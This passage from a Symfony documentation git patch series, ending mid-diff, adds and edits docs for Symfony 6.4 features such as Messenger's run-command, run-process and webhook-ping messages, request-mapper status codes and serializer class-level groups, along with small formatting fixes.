@@ -208,5 +208,14 @@ Also, you can use ``ctype_*()`` functions from corresponding
 Make sure that the proper :phpfunction:`locale <setlocale>` is set before
 using one of these.
 
+Finally, you can use aggregated functions:
+
+* ``number``: ``is_int || is_float && !is_nan``
+* ``finite-float``: ``is_float && is_finite``
+* ``finite-number``: ``is_int || is_float && is_finite``
+
+.. versionadded:: 6.4
+    ``number``, ``finite-float`` and ``finite-number`` were introduced in Symfony 6.4.
+
 .. _built-in PHP extension: https://www.php.net/book.ctype
 .. _a list of ctype functions: https://www.php.net/ref.ctype

From 3b723478b9c94c791d0675740e801a409bb609ee Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 31 Jul 2023 11:38:32 +0200
Subject: [PATCH 3583/5766] minor

---
 reference/constraints/Type.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index a0c80c031e0..f10d1423997 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -215,6 +215,7 @@ Finally, you can use aggregated functions:
 * ``finite-number``: ``is_int || is_float && is_finite``
 
 .. versionadded:: 6.4
+
     ``number``, ``finite-float`` and ``finite-number`` were introduced in Symfony 6.4.
 
 .. _built-in PHP extension: https://www.php.net/book.ctype

From 5a532a22ab1b9c48205909bc6aaad7bf729dbbb4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Jul 2023 15:10:04 +0200
Subject: [PATCH 3584/5766] Backport a fix related to Webpack Encore

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2e5043c5f83..2d46a392293 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -430,7 +430,7 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^12.0.0 sass --dev
+    >     yarn add sass-loader@^13.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
@@ -438,11 +438,11 @@ you need a feature, Encore will tell you what you need to install. Run:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn add sass-loader@^12.0.0 sass --dev
+    $ yarn add sass-loader@^13.0.0 sass --dev
     $ yarn encore dev --watch
 
     # if you use the npm package manager
-    $ npm install sass-loader@^12.0.0 sass --save-dev
+    $ npm install sass-loader@^13.0.0 sass --save-dev
     $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From 88655a9a6e4e093fc9e0161731b0153275aa3910 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Sun, 30 Jul 2023 22:43:31 +0200
Subject: [PATCH 3585/5766] Fix $tags type

---
 form/form_collections.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index d36dce954b3..e3c57a99fc6 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -17,7 +17,7 @@ Let's start by creating a ``Task`` entity::
     class Task
     {
         protected string $description;
-        protected ArrayCollection $tags;
+        protected Collection $tags;
 
         public function __construct()
         {
@@ -466,7 +466,7 @@ you will learn about next!).
             // ...
 
             #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])]
-            protected array $tags;
+            protected Collection $tags;
 
         .. code-block:: yaml
 

From 98604fb99ff80b0d05222f0179cc73facf26f429 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Jul 2023 15:34:44 +0200
Subject: [PATCH 3586/5766] Remove an unused import

---
 form/form_collections.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e3c57a99fc6..dbda1f44788 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -11,7 +11,6 @@ Let's start by creating a ``Task`` entity::
     // src/Entity/Task.php
     namespace App\Entity;
 
-    use Doctrine\Common\Collections\ArrayCollection;
     use Doctrine\Common\Collections\Collection;
 
     class Task

From 91a358eb69a2f769ccf787963af42f4670ccfbe6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 29 Jul 2023 17:19:59 +0200
Subject: [PATCH 3587/5766] [Messenger] Add `RunProcessMessage`,
 `RunCommandMessage` and `PingWebhookMessage`

---
 messenger.rst | 130 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 130 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6514fd786b6..93f6402673e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1897,6 +1897,136 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
+Running Commands And External Processes
+---------------------------------------
+
+Trigger a Command
+~~~~~~~~~~~~~~~~~
+
+It is possible to trigger any command by dispatching a
+:class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`. Symfony
+will take care of handling this message and execute the command passed
+to the message parameter::
+
+    use Symfony\Component\Console\Messenger\RunCommandMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class CleanUpService
+    {
+        public function __construct(private readonly MessageBusInterface $bus)
+        {
+        }
+
+        public function cleanUp(): void
+        {
+            // Long task with some caching...
+
+            // Once finished, dispatch some clean up commands
+            $this->bus->dispatch(new RunCommandMessage('app:my-cache:clean-up --dir=var/temp'));
+            $this->bus->dispatch(new RunCommandMessage('cache:clear'));
+        }
+    }
+
+You can configure the behavior in the case of something going wrong during command
+execution. To do so, you can use the ``throwOnFailure`` and ``catchExceptions``
+parameters when creating your instance of
+:class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`.
+
+Once handled, the handler will return a
+:class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext` which
+contains many useful information such as the exit code or the output of the
+process. You can refer to the page dedicated on
+:doc:`handler results </messenger/handler_results>` for more information.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`
+    and :class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext`
+    classes were introduced in Symfony 6.4.
+
+Trigger An External Process
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Messenger comes with a handy helper to run external processes by
+dispatching a message. This takes advantages of the
+:doc:`Process component </components/process>`. By dispatching a
+:class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`, Messenger
+will take care of creating a new process with the parameters you passed::
+
+    use Symfony\Component\Messenger\MessageBusInterface;
+    use Symfony\Component\Process\Messenger\RunProcessMessage;
+
+    class CleanUpService
+    {
+        public function __construct(private readonly MessageBusInterface $bus)
+        {
+        }
+
+        public function cleanUp(): void
+        {
+            $this->bus->dispatch(new RunProcessMessage(['rm', '-rf', 'var/log/temp/*'], cwd: '/my/custom/working-dir'));
+
+            // ...
+        }
+    }
+
+Once handled, the handler will return a
+:class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which
+contains many useful information such as the exit code or the output of the
+process. You can refer to the page dedicated on
+:doc:`handler results </messenger/handler_results>` for more information.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`
+    and :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext`
+    classes were introduced in Symfony 6.4.
+
+Pinging A Webservice
+--------------------
+
+Sometimes, you may need to regularly ping a webservice to get its status, e.g.
+is it up or down. It is possible to do so by dispatching a
+:class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`::
+
+    use Symfony\Component\HttpClient\Messenger\RPingWebhookMessage;
+    use Symfony\Component\Messenger\MessageBusInterface;
+
+    class LivenessService
+    {
+        public function __construct(private readonly MessageBusInterface $bus)
+        {
+        }
+
+        public function ping(): void
+        {
+            // An HttpExceptionInterface is thrown on 3xx/4xx/5xx
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status');
+
+            // Ping, but does not throw on 3xx/4xx/5xx
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false);
+
+            // Any valid HttpClientInterface option can be used
+            $this->bus->dispatch(new PingWebhookMessage('POST', 'https://example.com/status', [
+                'headers' => [
+                    'Authorization' => 'Bearer ...'
+                ],
+                'json' => [
+                    'data' => 'some-data',
+                ],
+            ]));
+        }
+    }
+
+The handler will return a
+:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`, allowing you to
+gather and process information returned by the HTTP request.
+
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`
+    class was introduced in Symfony 6.4.
+
 Customizing Handlers
 --------------------
 

From 1a082a416d578650debb8165275d933383be70e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Jul 2023 18:01:36 +0200
Subject: [PATCH 3588/5766] Minor tweak

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 4a1bfd260c8..54a0f56c9e6 100644
--- a/security.rst
+++ b/security.rst
@@ -563,8 +563,8 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
 .. tip::
 
-    Instead of creating one long regex to match all routes you want, you're
-    also able to use an array of simpler regexes to match routes:
+    When matching several routes, instead of creating a long regex you can also
+    use an array of simpler regexes to match each route:
 
     .. configuration-block::
 
@@ -608,7 +608,7 @@ don't accidentally block Symfony's dev tools - which live under URLs like
 
     .. versionadded:: 6.4
 
-        The possibility to use an array of regex was introduced in Symfony 6.4.
+        The feature to use an array of regex was introduced in Symfony 6.4.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,

From 3916d229469150757f6b93df1dee470cd2f3b08c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 31 Jul 2023 20:24:21 +0200
Subject: [PATCH 3589/5766] Use Doctor RST 1.48.0

---
 .doctor-rst.yaml          | 18 ++++--------------
 .github/workflows/ci.yaml |  2 +-
 2 files changed, 5 insertions(+), 15 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 73cb75d09e6..29ef1e4506e 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -77,6 +77,10 @@ rules:
     deprecated_directive_min_version:
         min_version: '5.0'
 
+exclude_rule_for_file:
+    - path: configuration/multiple_kernels.rst
+      rule_name: replacement
+
 # do not report as violation
 whitelist:
     regex:
@@ -102,17 +106,3 @@ whitelist:
         - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
-        - 'First, create a new ``apps`` directory at the root of your project, which will' # configuration/multiple_kernels.rst
-        - '├─ apps/' # configuration/multiple_kernels.rst
-        - '``apps/`` directory. Therefore, you should carefully consider what is' # configuration/multiple_kernels.rst
-        - 'Since the new ``apps/api/src/`` directory will host the PHP code related to the' # configuration/multiple_kernels.rst
-        - '"Api\\": "apps/api/src/"' # configuration/multiple_kernels.rst
-        - "return $this->getProjectDir().'/apps/'.$this->id.'/config';" # configuration/multiple_kernels.rst
-        - '``apps/`` as it is used in the Kernel to load the specific application' # configuration/multiple_kernels.rst
-        - '``apps/admin/templates/`` which you will need to manually configure under the' # configuration/multiple_kernels.rst
-        - '# apps/admin/config/packages/twig.yaml' # configuration/multiple_kernels.rst
-        - "'%kernel.project_dir%/apps/admin/templates': Admin" # configuration/multiple_kernels.rst
-        - '// apps/api/tests/ApiTestCase.php' # configuration/multiple_kernels.rst
-        - 'Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then,' # configuration/multiple_kernels.rst
-        - '"Api\\Tests\\": "apps/api/tests/"' # configuration/multiple_kernels.rst
-        - '<directory>apps/api/tests</directory>' # configuration/multiple_kernels.rst
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index af90b9308a3..4bed1d4dd23 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.47.2
+                uses: docker://oskarstark/doctor-rst:1.48.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From a8803e2315135b53c19b2767fcf829ce87ded4fd Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 29 Jul 2023 23:15:42 +0200
Subject: [PATCH 3590/5766] [DependencyInjection] Update kernel.reset
 explanation

---
 reference/dic_tags.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 64cac27255e..5b035d6f89b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -711,10 +711,10 @@ kernel.reset
 
 **Purpose**: Clean up services between requests
 
-During the ``kernel.terminate`` event, Symfony looks for any service tagged
-with the ``kernel.reset`` tag to reinitialize their state. This is done by
-calling to the method whose name is configured in the ``method`` argument of
-the tag.
+In all main requests (not :ref:`sub-requests <http-kernel-sub-requests>`) except
+the first one, Symfony looks for any service tagged with the ``kernel.reset`` tag
+to reinitialize their state. This is done by calling to the method whose name is
+configured in the ``method`` argument of the tag.
 
 This is mostly useful when running your projects in application servers that
 reuse the Symfony application between requests to improve performance. This tag

From 1fb3f4dba03eb47b4aa0b9341070bdff294104be Mon Sep 17 00:00:00 2001
From: Damien Carrier <damien.carrier@alximy.io>
Date: Tue, 1 Aug 2023 10:36:13 +0200
Subject: [PATCH 3591/5766] [Doctrine] fix `AsDoctrineListener` github link in
 `Doctrine Events` doc

---
 doctrine/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 3a2c66cceac..6b445ef74ea 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -260,8 +260,7 @@ listener in the Symfony application by creating a new service for it and
 
 .. versionadded:: 2.7.2
 
-    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsDoctrineListener`
-    attribute was introduced in DoctrineBundle 2.7.2.
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
 
 .. tip::
 
@@ -561,3 +560,4 @@ Doctrine connection to use) you must do that in the manual service configuration
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
 .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
+.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.10.x/Attribute/AsDoctrineListener.php

From ab0326d1012cf5e0a3f0fb1bc67b07d978c950fd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 11:10:27 +0200
Subject: [PATCH 3592/5766] [HttpKernel] Add support for custom HTTP status
 code in request mappers

---
 controller.rst | 38 +++++++++++++++++++++++++++++++++-----
 1 file changed, 33 insertions(+), 5 deletions(-)

diff --git a/controller.rst b/controller.rst
index 9f2c6e1c84d..a6d7178832f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -431,20 +431,34 @@ attribute in your controller::
     }
 
 You can customize the validation groups used during the mapping thanks to the
-``validationGroups`` option::
+``validationGroups`` option, but also the HTTP status to return if the
+validation fails::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
 
     public function dashboard(
-        #[MapQueryString(validationGroups: ['strict', 'edit'])] UserDTO $userDto
+        #[MapQueryString(
+            validationGroups: ['strict', 'edit'],
+            validationFailedStatusCode: Response::HTTP_UNPROCESSABLE_ENTITY
+        )] UserDTO $userDto
     ): Response
     {
         // ...
     }
 
+The default status code returned if the validation fails is 404.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
     was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
+
 Mapping Request Payload
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -492,21 +506,35 @@ your DTO::
         // ...
     }
 
-You can also customize the validation groups used as well as supported
-payload formats::
+You can also customize the validation groups used, the status code to return if
+the validation fails as well as supported payload formats::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
 
     public function dashboard(
-        #[MapRequestPayload(acceptFormat: 'json', validationGroups: ['strict', 'read'])] UserDTO $userDto
+        #[MapRequestPayload(
+            acceptFormat: 'json',
+            validationGroups: ['strict', 'read'],
+            validationFailedStatusCode: Response::HTTP_NOT_FOUND
+        )] UserDTO $userDto
     ): Response
     {
         // ...
     }
 
+The default status code returned if the validation fails is 422.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
     was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
+
 Managing the Session
 --------------------
 

From 494c03435be07287bf5bd4bbf50662763206ddee Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 10:19:05 +0200
Subject: [PATCH 3593/5766] [Serializer] Groups annotation/attribute on class

---
 serializer.rst | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index af1ee72c3e3..b483ad903d4 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -295,7 +295,7 @@ Using Serialization Groups Attributes
 -------------------------------------
 
 You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class::
+to your class properties::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -321,7 +321,37 @@ to your class::
         private string $description;
     }
 
-You can now choose which groups to use when serializing::
+You can also use the ``#[Groups]`` attribute on class level::
+
+    #[ORM\Entity]
+    #[Groups(['show_product'])]
+    class Product
+    {
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
+        #[Groups(['list_product'])]
+        private int $id;
+
+        #[ORM\Column(type: 'string', length: 255)]
+        #[Groups(['list_product'])]
+        private string $name;
+
+        #[ORM\Column(type: 'text')]
+        private string $description;
+    }
+
+In this example, the ``id`` and the ``name`` properties belong to the
+``show_product`` and ``list_product`` groups. The ``description`` property
+only belongs to the ``show_product`` group.
+
+.. versionadded:: 6.4
+
+    The support of the ``#[Groups]`` attribute on class level was
+    introduced in Symfony 6.4.
+
+Now that your groups are defined, you can choose which groups to use when
+serializing::
 
     use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
 

From 37b15b562e6042cbb61919b77280e6b9e5823b3f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 10:40:25 +0200
Subject: [PATCH 3594/5766] [BrowserKit] Add argument $serverParameters to
 `click()` and `clickLink()`

---
 components/browser_kit.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 85aaf88a520..c744837d7b1 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -112,6 +112,28 @@ provides access to the link properties (e.g. ``$link->getMethod()``,
     $link = $crawler->selectLink('Go elsewhere...')->link();
     $client->click($link);
 
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::click` and
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::clickLink` methods
+can take an optional ``serverParameters`` argument. This
+parameter allows to send additional information like headers when clicking
+on a link::
+
+    use Acme\Client;
+
+    $client = new Client();
+    $client->request('GET', '/product/123');
+
+    // works both with `click()`...
+    $link = $crawler->selectLink('Go elsewhere...')->link();
+    $client->click($link, ['X-Custom-Header' => 'Some data']);
+
+    // ... and `clickLink()`
+    $crawler = $client->clickLink('Go elsewhere...', ['X-Custom-Header' => 'Some data']);
+
+.. versionadded:: 6.4
+
+    The ``serverParameters`` parameter was introduced in Symfony 6.4.
+
 Submitting Forms
 ~~~~~~~~~~~~~~~~
 

From 1e6ec525a349e230f33f7c3469adb5501b92b630 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 10:32:17 +0200
Subject: [PATCH 3595/5766] [Workflow] Allow using public properties for the
 marking store

---
 workflow.rst | 38 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 37 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index b97cb08c1c3..182b2aed825 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -190,12 +190,48 @@ The configured property will be used via its implemented getter/setter methods b
             return $this->currentPlace;
         }
 
-        public function setCurrentPlace($currentPlace, $context = []): void
+        public function setCurrentPlace(string $currentPlace, array $context = []): void
         {
             $this->currentPlace = $currentPlace;
         }
     }
 
+It is also possible to use public properties to be used by the marking
+store. The above class would become the following::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    class BlogPost
+    {
+        // the configured marking store property must be declared
+        public string $currentPlace;
+        public string $title;
+        public string $content;
+    }
+
+When using public properties, context is not supported. In order
+to support it, you must declare a setter to write your property::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    class BlogPost
+    {
+        public string $currentPlace;
+        // ...
+
+        public function setCurrentPlace(string $currentPlace, array $context = []): void
+        {
+            // Assign the property and so something with `$context`
+        }
+    }
+
+.. versionadded:: 6.4
+
+    The support of using public properties instead of getter/setter methods
+    and private properties was introduced in Symfony 6.4.
+
 .. note::
 
     The marking store type could be "multiple_state" or "single_state". A single

From 49a33c62de0c3448608d3ae731ce1c7c24c41d01 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 1 Aug 2023 14:58:12 +0200
Subject: [PATCH 3596/5766] Removing self-closing slash from <input>

---
 components/dom_crawler.rst       | 12 ++++++------
 components/form.rst              |  2 +-
 form/form_customization.rst      |  2 +-
 form/form_themes.rst             |  2 +-
 reference/constraints/File.rst   |  2 +-
 reference/forms/types/email.rst  |  2 +-
 reference/forms/types/range.rst  |  2 +-
 reference/forms/types/search.rst |  2 +-
 security.rst                     |  6 +++---
 security/csrf.rst                |  2 +-
 security/form_login.rst          | 14 +++++++-------
 security/remember_me.rst         |  2 +-
 12 files changed, 25 insertions(+), 25 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index db91554f026..b8c484ab114 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -535,12 +535,12 @@ To work with multi-dimensional fields:
 .. code-block:: html
 
     <form>
-        <input name="multi[]"/>
-        <input name="multi[]"/>
-        <input name="multi[dimensional]"/>
-        <input name="multi[dimensional][]" value="1"/>
-        <input name="multi[dimensional][]" value="2"/>
-        <input name="multi[dimensional][]" value="3"/>
+        <input name="multi[]">
+        <input name="multi[]">
+        <input name="multi[dimensional]">
+        <input name="multi[dimensional][]" value="1">
+        <input name="multi[dimensional][]" value="2">
+        <input name="multi[dimensional][]" value="3">
     </form>
 
 Pass an array of values::
diff --git a/components/form.rst b/components/form.rst
index 2f7b874d7bf..78a8b652773 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -507,7 +507,7 @@ done by passing a special form "view" object to your template (notice the
     {{ form_start(form) }}
         {{ form_widget(form) }}
 
-        <input type="submit"/>
+        <input type="submit">
     {{ form_end(form) }}
 
 .. image:: /_images/form/simple-form.png
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 87be104c7f1..26ec9e38c7f 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -117,7 +117,7 @@ fields, so you no longer have to deal with form themes:
         value="{{ field_value(form.username) }}"
         placeholder="{{ field_label(form.username) }}"
         class="form-control"
-    />
+    >
 
     <select name="{{ field_name(form.country) }}" class="form-control">
         <option value="">{{ field_label(form.country) }}</option>
diff --git a/form/form_themes.rst b/form/form_themes.rst
index ca5981876cc..2f3a1a403ea 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -221,7 +221,7 @@ upon the form themes enabled in your app):
 
 .. code-block:: html
 
-    <input type="number" id="form_age" name="form[age]" required="required" value="33"/>
+    <input type="number" id="form_age" name="form[age]" required="required" value="33">
 
 Symfony uses a Twig block called ``integer_widget`` to render that field. This
 is because the field type is ``integer`` and you're rendering its ``widget`` (as
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 65841a1e26c..ad36a42abb8 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -245,7 +245,7 @@ You can find a list of existing mime types on the `IANA website`_.
 
     When using this constraint on a :doc:`FileType field </reference/forms/types/file>`,
     the value of the ``mimeTypes`` option is also used in the ``accept``
-    attribute of the related ``<input type="file"/>`` HTML element.
+    attribute of the related ``<input type="file">`` HTML element.
 
     This behavior is applied only when using :ref:`form type guessing <form-type-guessing>`
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 9a5f06c2a9e..90752042409 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -2,7 +2,7 @@ EmailType Field
 ===============
 
 The ``EmailType`` field is a text field that is rendered using the HTML5
-``<input type="email"/>`` tag.
+``<input type="email">`` tag.
 
 +---------------------------+---------------------------------------------------------------------+
 | Rendered as               | ``input`` ``email`` field (a text box)                              |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 9da6407f881..95e4bcff64c 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -2,7 +2,7 @@ RangeType Field
 ===============
 
 The ``RangeType`` field is a slider that is rendered using the HTML5
-``<input type="range"/>`` tag.
+``<input type="range">`` tag.
 
 +---------------------------+---------------------------------------------------------------------+
 | Rendered as               | ``input`` ``range`` field (slider in HTML5 supported browser)       |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index 8eeefb053d5..d99b8fefc0a 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -1,7 +1,7 @@
 SearchType Field
 ================
 
-This renders an ``<input type="search"/>`` field, which is a text box with
+This renders an ``<input type="search">`` field, which is a text box with
 special functionality supported by some browsers.
 
 Read about the input search field at `DiveIntoHTML5.info`_
diff --git a/security.rst b/security.rst
index b629cc7cfc3..5b38acb53ea 100644
--- a/security.rst
+++ b/security.rst
@@ -794,13 +794,13 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+            <input type="text" id="username" name="_username" value="{{ last_username }}">
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password"/>
+            <input type="password" id="password" name="_password">
 
             {# If you want to control the URL the user is redirected to on success
-            <input type="hidden" name="_target_path" value="/account"/> #}
+            <input type="hidden" name="_target_path" value="/account"> #}
 
             <button type="submit">login</button>
         </form>
diff --git a/security/csrf.rst b/security/csrf.rst
index a03cfc59c00..fd89ff17ba9 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -141,7 +141,7 @@ generate a CSRF token in the template and store it as a hidden form field:
 
     <form action="{{ url('admin_post_delete', { id: post.id }) }}" method="post">
         {# the argument of csrf_token() is an arbitrary string used to generate the token #}
-        <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}"/>
+        <input type="hidden" name="token" value="{{ csrf_token('delete-item') }}">
 
         <button type="submit">Delete item</button>
     </form>
diff --git a/security/form_login.rst b/security/form_login.rst
index ec8f4a1d373..a285f26fcf9 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -157,8 +157,8 @@ Defining the redirect URL via POST using a hidden form field:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_target_path" value="{{ path('account') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_target_path" value="{{ path('account') }}">
+        <input type="submit" name="login">
     </form>
 
 Using the Referring URL
@@ -301,8 +301,8 @@ This option can also be set via the ``_failure_path`` request parameter:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>
 
 Customizing the Target and Failure Request Parameters
@@ -380,7 +380,7 @@ are now fully customized:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="go_to" value="{{ path('dashboard') }}"/>
-        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="go_to" value="{{ path('dashboard') }}">
+        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 1d69cc9a555..19b6cb44a7b 100644
--- a/security/remember_me.rst
